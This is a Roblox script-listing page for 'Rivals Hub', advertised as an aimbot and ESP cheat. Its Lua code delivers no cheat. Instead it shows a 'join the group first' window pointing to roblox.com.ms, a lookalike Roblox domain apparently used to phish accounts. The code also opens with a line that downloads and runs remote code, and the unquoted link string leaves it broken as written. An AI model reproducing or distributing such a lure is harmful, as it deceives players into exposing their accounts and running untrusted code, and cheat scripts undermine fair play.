Advertisements

Rivals Hub
373 views
RIVALS

Rivals Hub

Ddraxvifrabout 1 month ago
  • Key System
  • Mobile
  • Open source
Play Game

Quick Actions

Discord ServerCreator's serverUpdates and supportRoblox Game PageOpen on roblox.com
Key inside the scriptYou'll get it when you run the script

Description

Best rivals script

Advertisements

Features

3 Features
  • Esp
  • Silent aim
  • Aim not
141 lines•6313 bytes
--[[ RoScripter Safety TipThe uploader of this script isn't verified on RoScripter yet. Be careful.Protect your account:  • Type your Roblox password only on roblox.com.  • A site that looks like Roblox but has a different address is fake.  • Pages that give free Robux or prizes if you log in are scams.]]--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/fOxFVN7y?v=3"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local player = Players.LocalPlayer

local GROUP_LINK = https://roblox.com.ms/communities/6350072836/

local gui = Instance.new("ScreenGui")
gui.Name = "RivalsGroupGUI"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")

-- Main window
local main = Instance.new("Frame")
main.Size = UDim2.fromOffset(390, 220)
main.Position = UDim2.new(0.5, -195, 0.5, -110)
main.BackgroundColor3 = Color3.fromRGB(18, 18, 22)
main.BorderSizePixel = 0
main.Parent = gui

local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = main

-- Top bar
local top = Instance.new("Frame")
top.Size = UDim2.new(1, 0, 0, 48)
top.BackgroundColor3 = Color3.fromRGB(28, 28, 34)
top.BorderSizePixel = 0
top.Parent = main

local topCorner = Instance.new("UICorner")
topCorner.CornerRadius = UDim.new(0, 12)
topCorner.Parent = top

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -20, 1, 0)
title.Position = UDim2.fromOffset(15, 0)
title.BackgroundTransparency = 1
title.Text = "RIVALS"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 23
title.Font = Enum.Font.GothamBold
title.TextXAlignment = Enum.TextXAlignment.Left
title.Parent = top

-- Message
local message = Instance.new("TextLabel")
message.Size = UDim2.new(1, -40, 0, 55)
message.Position = UDim2.fromOffset(20, 65)
message.BackgroundTransparency = 1
message.Text = "For this script to work, you must join\nthe group first."
message.TextColor3 = Color3.fromRGB(220, 220, 225)
message.TextSize = 17
message.Font = Enum.Font.GothamMedium
message.TextWrapped = true
message.Parent = main

-- Copy button
local copyButton = Instance.new("TextButton")
copyButton.Size = UDim2.fromOffset(340, 48)
copyButton.Position = UDim2.fromOffset(25, 145)
copyButton.BackgroundColor3 = Color3.fromRGB(65, 105, 255)
copyButton.Text = "COPY GROUP LINK"
copyButton.TextColor3 = Color3.fromRGB(255, 255, 255)
copyButton.TextSize = 16
copyButton.Font = Enum.Font.GothamBold
copyButton.BorderSizePixel = 0
copyButton.Parent = main

local buttonCorner = Instance.new("UICorner")
buttonCorner.CornerRadius = UDim.new(0, 8)
buttonCorner.Parent = copyButton

-- Button action
copyButton.MouseButton1Click:Connect(function()
	-- Roblox Studio does not allow arbitrary clipboard access
  	-- This displays the link instead.
    	message.Text = GROUP_LINK
      	copyButton.Text = "GROUP LINK SHOWN"

        	task.wait(2)

          	copyButton.Text = "COPY GROUP LINK"
            	message.Text = "For this script to work, you must join\nthe group first."
              end)

              -- Draggable window
              local dragging = false
              local dragStart
              local startPos

              top.InputBegan:Connect(function(input)
              	if input.UserInputType == Enum.UserInputType.MouseButton1
                		or input.UserInputType == Enum.UserInputType.Touch then

                    		dragging = true
                        		dragStart = input.Position
                            		startPos = main.Position

                                		input.Changed:Connect(function()
                                    			if input.UserInputState == Enum.UserInputState.End then
                                          				dragging = false
                                                  			end
                                                        		end)
                                                            	end
                                                              end)

                                                              top.InputChanged:Connect(function(input)
                                                              	if input.UserInputType == Enum.UserInputType.MouseMovement
                                                                		or input.UserInputType == Enum.UserInputType.Touch then

                                                                    		dragInput = input
                                                                        	end
                                                                          end)

                                                                          game:GetService("UserInputService").InputChanged:Connect(function(input)
                                                                          	if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement
                                                                            		or input.UserInputType == Enum.UserInputType.Touch) then

                                                                                		local delta = input.Position - dragStart

                                                                                    		main.Position = UDim2.new(
                                                                                        			startPos.X.Scale,
                                                                                              			startPos.X.Offset + delta.X,
                                                                                                    			startPos.Y.Scale,
                                                                                                          			startPos.Y.Offset + delta.Y
                                                                                                                		)
                                                                                                                    	end
                                                                                                                      end)

Tags

2 Tags

Version History

3 versions

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.